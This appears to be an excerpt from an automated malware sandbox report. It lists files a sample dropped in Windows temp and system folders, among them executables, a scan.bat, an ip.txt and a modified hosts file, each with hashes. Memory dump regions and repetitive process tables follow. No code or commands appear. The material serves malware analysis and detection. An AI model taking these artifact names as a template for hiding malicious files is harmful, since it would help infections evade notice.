fa0f5a71a65b536aa5886b907d7a654fa96f013849450a8a645dac2d0d06d6ac

SHA512
c5846293758e9b226a8d4b28b62391fa5d49d0a49cd73a4f4c645c2239020bfa60c843ee6b5ceffca64a7321c0efc201e8d795df2f791d524a7825c2a6763e45

Download Submit
C:\Windows\TEMP\gkbbgrnbe\2028.dmp

Filesize
4.0MB

MD5
e0c70b9793762027b6c25fb8428d11d5

SHA1
9e95a186b9a471296909a6df245ba9b13d4abc27

SHA256
b576011f43f0ce6da2ed1579f47d7583815eec30ae05e8a7b755b68a8916e63e

SHA512
b0d8ab80d918c416b059ded1d59dfdce5061569196913d618716e323a5e19178a5cf12817e22238c53d3faca090fee393042dfc635d40b6ed6f59bdddffbabf9

Download Submit
C:\Windows\TEMP\gkbbgrnbe\2256.dmp

Filesize
855KB

MD5
8eee29f5e17f0c0c9f04cd14ddf9854e

SHA1
b8afd1efbf6ac7484128195f52bc76d83a243e2b

SHA256
834d860875d6f9c1a5e3b1e5f19a54fb63924fc1d406b639771a9e9dba849138

SHA512
c30b90bf16189cd65672756129236d5ad1ed0b18e5db0a52f46be7201cace78bb365d8259fa4de1a1f0e60c109aafb42409ee85b61293095f82508017e32d331

Download Submit
C:\Windows\TEMP\izgwnficg\config.json

Filesize
693B

MD5
f2d396833af4aea7b9afde89593ca56e

SHA1
08d8f699040d3ca94e9d46fc400e3feb4a18b96b

SHA256
d6ae7c6275b7a9b81ae4a4662c9704f7a68d5943fcc4b8d035e53db708659b34

SHA512
2f359d080c113d58a67f08cb44d9ab84b0dfd7392d6ddb56ca5d1b0e8aa37b984fac720e4373d4f23db967a3465fcf93cee66d7934d4211a22e1ebc640755f01

Download Submit
C:\Windows\Temp\gkbbgrnbe\aibzbbvzt.exe

Filesize
126KB

MD5
e8d45731654929413d79b3818d6a5011

SHA1
23579d9ca707d9e00eb62fa501e0a8016db63c7e

SHA256
a26ae467f7b6f4bb23d117ca1e1795203821ca31ce6a765da9713698215ae9af

SHA512
df6bcdc59be84290f9ecb9fa0703a3053498f49f63d695584ffe595a88c014f4acf4864e1be0adf74531f62ce695be66b28cfd1b98e527ab639483802b5a37a6

Download Submit
C:\Windows\gkbbgrnbe\biutbfmlw\ip.txt

Filesize
187B

MD5
9f8efcf736fcffb95692a131c0df297d

SHA1
826e82582351685ea6b7fdf5a4329bc8a7b046ef

SHA256
b037d53f254e268e818843224deda461a73d1f1d9f7a6d0ae26ec8eaea6e222d

SHA512
436528ec12e9360051536a01dd7dd91a0dcbe786309cdd5111f46b011afcd4ef779e4cd63bf95077eeea72b4ae2f6079d2b188feb40b73915c10d2ece5528bbd

Download Submit
C:\Windows\gkbbgrnbe\biutbfmlw\scan.bat

Filesize
159B

MD5
2970231b6ec31a28619e972a79368e1e

SHA1
5bc4dfc75bec7617575b03a42a5be874e48007b8

SHA256
446f6caf49c33c57c8c7e6c98a8a424c834307e2bdfd91c5d2c31eb21f9b999c

SHA512
9747ca5147c8b50835b0226aa5eb51c58b8fd71548517f9323eb0c23f4edcb8f06db1a4ef695f1e4a5597dc1c3ef6a07c3fbd7efba7835e3356cfab6c0a4fc14

Download Submit
C:\Windows\gkbbgrnbe\biutbfmlw\wpcap.exe

Filesize
424KB

MD5
e9c001647c67e12666f27f9984778ad6

SHA1
51961af0a52a2cc3ff2c4149f8d7011490051977

SHA256
7ec51f4041f887ba1d4241054f3be8b5068291902bada033081eff7144ec6a6d

SHA512
56f0cff114def2aeda0c2c8bd9b3abcacef906187a253ea4d943b3f1e1ca52c452d82851348883288467a8c9a09d014910c062325964bcfe9618d7b58056e1fe

Download Submit
C:\Windows\iynwritg\wuvtyst.exe

Filesize
9.4MB

MD5
f093b1cd4d7a6876f14dbdc4de3c7a07

SHA1
65bd5711ced06f278a378dbbe8f20cbf5474b19f

SHA256
14ca4fb8b96f38e1e1cc26c4ec6a59035d3ba9662004d4889e0a6154e5159859

SHA512
7e4f27a92dc9671e12ae3201e4e8083524625c66d4aa221dcedf399c717c6534ff6026dd01963fb4c963fd7e6bdbf829d119bb6440a0ab5bf8c12ab010469805

Download Submit
C:\Windows\system32\drivers\etc\hosts

Filesize
975B

MD5
b5d815ff5310f62de5020591be598bc0

SHA1
8013562b0cc2516d16d474308c8982a31b7f5dd0

SHA256
a7ea603e6e80aed429a34b68ca8210ae3b082cf6104646ed7f8025c3b304ae85

SHA512
4e3175ef0c289e1beea60f51239a98533690505b709f778703502dad3f72e3c7e9aa26e1a3837712ed5e1344e28e5ccff1d63a1245352bbc8435a71e15347a94

Download Submit
\Windows\Temp\izgwnficg\tbfbrq.exe

Filesize
343KB

MD5
2b4ac7b362261cb3f6f9583751708064

SHA1
b93693b19ebc99da8a007fed1a45c01c5071fb7f

SHA256
a5a0268c15e00692a08af62e99347f6e37ee189e9db3925ebf60835e67aa7d23

SHA512
c154d2c6e809b0b48cc2529ea5745dc4fc3ddd82f8f9d0f7f827ff5590868c560d7bec42636cb61e27cc1c9b4ac2499d3657262826bbe0baa50f66b40e28b616

Download Submit
\Windows\Temp\nse84BC.tmp\System.dll

Filesize
11KB

MD5
2ae993a2ffec0c137eb51c8832691bcb

SHA1
98e0b37b7c14890f8a599f35678af5e9435906e1

SHA256
681382f3134de5c6272a49dd13651c8c201b89c247b471191496e7335702fa59

SHA512
2501371eb09c01746119305ba080f3b8c41e64535ff09cee4f51322530366d0bd5322ea5290a466356598027e6cda8ab360caef62dcaf560d630742e2dd9bcd9

Download Submit
\Windows\Temp\nse84BC.tmp\nsExec.dll

Filesize
6KB

MD5
b648c78981c02c434d6a04d4422a6198

SHA1
74d99eed1eae76c7f43454c01cdb7030e5772fc2

SHA256
3e3d516d4f28948a474704d5dc9907dbe39e3b3f98e7299f536337278c59c5c9

SHA512
219c88c0ef9fd6e3be34c56d8458443e695badd27861d74c486143306a94b8318e6593bf4da81421e88e4539b238557dd4fe1f5bedf3ecec59727917099e90d2

Download Submit
\Windows\Temp\xohudmc.exe

Filesize
72KB

MD5
cbefa7108d0cf4186cdf3a82d6db80cd

SHA1
73aeaf73ddd694f99ccbcff13bd788bb77f223db

SHA256
7c65ffc83dbbbd1ec932550ea765031af6e48c6b5b622fc2076c41b8abb0fcb9

SHA512
b89b6d9c77c839d0d411d9abf2127b632547476c2272219d46ba12832d5a1dab98f4010738969e905e4d791b41596473397cf73db5da43ecab23486e33b0e1d1

Download Submit
\Windows\gkbbgrnbe\Corporate\vfshost.exe

Filesize
381KB

MD5
fd5efccde59e94eec8bb2735aa577b2b

SHA1
51aaa248dc819d37f8b8e3213c5bdafc321a8412

SHA256
441430308fa25ec04fd913666f5e0748fdb10743984656d55acc26542e5fff45

SHA512
74a7eebdee9d25a306be83cb3568622ea9c1b557a8fbb86945331209bdc884e48113c3d01aac5347d88b8d2f786f8929aa6bb55d80516f3b4f9cc0f18362e8e3

Download Submit
\Windows\gkbbgrnbe\biutbfmlw\bydmpgmtu.exe

Filesize
332KB

MD5
ea774c81fe7b5d9708caa278cf3f3c68

SHA1
fc09f3b838289271a0e744412f5f6f3d9cf26cee

SHA256
4883500a1bdb7ca43749635749f6a0ec0750909743bde3a2bc1bfc09d088ca38

SHA512
7cfde964c1c62759e3ba53c47495839e307ba0419d740fcacbeda1956dcee3b51b3cf39e6891120c72d0aae48e3ea1019c385eb5006061ced89f33b15faa8acb

Download Submit
memory/580-210-0x0000000001A20000-0x0000000001A7B000-memory.dmp

Filesize
364KB

Download
memory/580-195-0x0000000001A20000-0x0000000001A7B000-memory.dmp

Filesize
364KB

Download
memory/580-165-0x0000000002CC0000-0x0000000002DE0000-memory.dmp

Filesize
1.1MB

Download
memory/580-160-0x00000000028F0000-0x000000000294B000-memory.dmp

Filesize
364KB

Download
memory/580-219-0x00000000010A0000-0x00000000010FB000-memory.dmp

Filesize
364KB

Download
memory/580-229-0x0000000001A20000-0x0000000001A7B000-memory.dmp

Filesize
364KB

Download
memory/580-212-0x0000000001A20000-0x0000000001A7B000-memory.dmp

Filesize
364KB

Download
memory/580-176-0x0000000001A20000-0x0000000001A7B000-memory.dmp

Filesize
364KB

Download
memory/580-227-0x00000000010A0000-0x00000000010FB000-memory.dmp

Filesize
364KB

Download
memory/580-235-0x00000000010A0000-0x00000000010FB000-memory.dmp

Filesize
364KB

Download
memory/580-191-0x0000000002CC0000-0x0000000002DE0000-memory.dmp

Filesize
1.1MB

Download
memory/580-183-0x00000000028F0000-0x000000000294B000-memory.dmp

Filesize
364KB

Download
memory/580-185-0x0000000001A20000-0x0000000001A7B000-memory.dmp

Filesize
364KB

Download
memory/840-0-0x0000000000400000-0x0000000000A9B000-memory.dmp

Filesize
6.6MB

Download
memory/840-4-0x0000000000400000-0x0000000000A9B000-memory.dmp

Filesize
6.6MB

Download
memory/1012-148-0x0000000010000000-0x0000000010008000-memory.dmp

Filesize
32KB

Download
memory/1012-169-0x0000000000400000-0x0000000000412000-memory.dmp

Filesize
72KB

Download
memory/1016-230-0x000000013F190000-0x000000013F1EB000-memory.dmp

Filesize
364KB

Download
memory/1016-232-0x000000013F190000-0x000000013F1EB000-memory.dmp

Filesize
364KB

Download
memory/1324-173-0x000000013F030000-0x000000013F08B000-memory.dmp

Filesize
364KB

Download
memory/1324-162-0x000000013F030000-0x000000013F08B000-memory.dmp

Filesize
364KB

Download
memory/1392-242-0x000000013FD30000-0x000000013FE50000-memory.dmp

Filesize
1.1MB

Download
memory/1392-236-0x000000013FD30000-0x000000013FE50000-memory.dmp

Filesize
1.1MB

Download
memory/1392-234-0x000000013FD30000-0x000000013FE50000-memory.dmp

Filesize
1.1MB

Download
memory/1392-192-0x000000013FD30000-0x000000013FE50000-memory.dmp

Filesize
1.1MB

Download
memory/1392-237-0x000000013FD30000-0x000000013FE50000-memory.dmp

Filesize
1.1MB

Download
memory/1392-171-0x00000000001A0000-0x00000000001B0000-memory.dmp

Filesize
64KB

Download
memory/1392-200-0x000000013FD30000-0x000000013FE50000-memory.dmp

Filesize
1.1MB

Download
memory/1392-255-0x000000013FD30000-0x000000013FE50000-memory.dmp

Filesize
1.1MB

Download
memory/1392-167-0x000000013FD30000-0x000000013FE50000-memory.dmp

Filesize
1.1MB

Download
memory/1420-75-0x0000000000450000-0x000000000049C000-memory.dmp

Filesize
304KB

Download
memory/1524-136-0x000000013F120000-0x000000013F20E000-memory.dmp

Filesize
952KB

Download
memory/1524-138-0x000000013F120000-0x000000013F20E000-memory.dmp

Filesize
952KB

Download
memory/1660-134-0x0000000001040000-0x000000000112E000-memory.dmp

Filesize
952KB

Download
memory/1660-135-0x0000000001040000-0x000000000112E000-memory.dmp

Filesize
952KB

Download
memory/1888-253-0x0000000000170000-0x0000000000182000-memory.dmp

Filesize
72KB

Download
memory/2008-204-0x000000013F550000-0x000000013F5AB000-memory.dmp

Filesize
364KB

Download
memory/2008-206-0x000000013F550000-0x000000013F5AB000-memory.dmp

Filesize
364KB

Download
memory/2012-223-0x000000013FA70000-0x000000013FACB000-memory.dmp

Filesize
364KB

Download
memory/2012-221-0x000000013FA70000-0x000000013FACB000-memory.dmp

Filesize
364KB

Download
memory/2420-179-0x000000013F280000-0x000000013F2DB000-memory.dmp

Filesize
364KB

Download
memory/2420-181-0x000000013F280000-0x000000013F2DB000-memory.dmp

Filesize
364KB

Download
memory/2452-189-0x000000013FAF0000-0x000000013FB4B000-memory.dmp

Filesize
364KB

Download
memory/2488-213-0x000000013F210000-0x000000013F26B000-memory.dmp

Filesize
364KB

Download
memory/2488-215-0x000000013F210000-0x000000013F26B000-memory.dmp

Filesize
364KB

Download
memory/2608-198-0x000000013FAF0000-0x000000013FB4B000-memory.dmp

Filesize
364KB

Download
memory/2896-9-0x0000000000400000-0x0000000000A9B000-memory.dmp

Filesize
6.6MB

Download

pid	Process
480
480
480
480
480
480
480
480
480
480
480
480
480
480
480
480
480
480
480
480
480
480
480
480
480
480
480
480
480
480
480

pid	Process
480
480
480
480
480
480
480
480
480
480
480
480
480
480
480
480
480
480
480
480
480
480
480
480
480
480
480
480
480
480
480

pid	Process
480
480
480
480
480
480
480
480
480
480
480
480
480
480
480
480
480
480
480
480
480
480
480
480
480
480
480
480
480
480
480